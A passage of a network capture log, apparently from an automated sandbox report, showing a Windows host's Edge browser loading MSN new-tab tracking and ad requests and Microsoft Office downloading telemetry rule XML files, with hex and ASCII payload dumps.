2024-11-16 22:36:39 UTC	1012	OUT	GET /b2?rn=1731796596344&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A9CD1F63BEE619E376CC4CF3AB960F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=196b95a879464e5fdc368321731796598; XID=196b95a879464e5fdc368321731796598
2024-11-16 22:36:39 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 16 Nov 2024 22:36:39 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e1b8dc4ff57dffc175f8ccd45b3c0a7e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P9 X-Amz-Cf-Id: uj1nrsvwWl1hRSgq_vCPrN9-3a9-xKb1XBvw8xptKiRIUO71v72YZA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:39 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:39 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223639Z-16547b76f7fzwxm2hC1DFWt5hw00000000z000000000gazn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:39 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:39 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 42a4478f-a01e-0032-2706-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223639Z-164f84587bft9l9khC1DFW32rc00000003gg000000001z4h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:39 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223639Z-16547b76f7ff9zf4hC1DFW2pfc000000011000000000amaf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:39 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:39 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223639Z-16547b76f7fpdsp9hC1DFW8f5000000000yg00000000hpq3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:39 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49918	20.75.60.91	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:39 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3A9CD1F63BEE619E376CC4CF3AB960F7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d8b48f94fad945c2e6587f66542872b4 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1
2024-11-16 22:36:40 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2805 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132761-T700344123-C128000000002117049+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002117049+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 16 Nov 2024 22:36:39 GMT Connection: close
2024-11-16 22:36:40 UTC	2805	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4d 75 6e 6e 61 72 2c 20 49 6e 64 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4b 65 72 61 6c 61 25 32 43 2b 49 6e 64 69 61 26 66 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Munnar, India\",\"cta\":\"https:\/\/www.bing.com\/search?q=Kerala%2C+India&f

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:40 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 6b9ee1ab-f01e-0071-4fa1-34431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223640Z-1866b5c5fbbz7hb5hC1DFWru7c00000003d0000000005gh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:40 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49921	20.125.209.212	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:40 UTC	1271	OUT	GET /c.gif?rnd=1731796596343&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=23e58d4004444221bf7b7f0c48db369b&activityId=23e58d4004444221bf7b7f0c48db369b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C0413994AE0643EF83A72DA4CEFB3510&MUID=3A9CD1F63BEE619E376CC4CF3AB960F7 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1; SM=T; _C_ETH=1
2024-11-16 22:36:40 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; domain=.msn.com; expires=Thu, 11-Dec-2025 22:36:40 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3A9CD1F63BEE619E376CC4CF3AB960F7; domain=c.msn.com; expires=Thu, 11-Dec-2025 22:36:40 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 22:36:40 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 16-Nov-2024 22:46:40 GMT; path=/; SameSite=None; Secure; Date: Sat, 16 Nov 2024 22:36:40 GMT Connection: close Content-Length: 42
2024-11-16 22:36:40 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:40 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223640Z-16547b76f7fmcv27hC1DFWgpcg00000002900000000041ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:40 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:40 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:40 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223640Z-1866b5c5fbblmztchC1DFWs6v400000001zg00000000aynb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:40 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 407aa11f-d01e-0014-5ef8-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223640Z-164f84587bfjxw6fhC1DFWq94400000003p00000000028ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
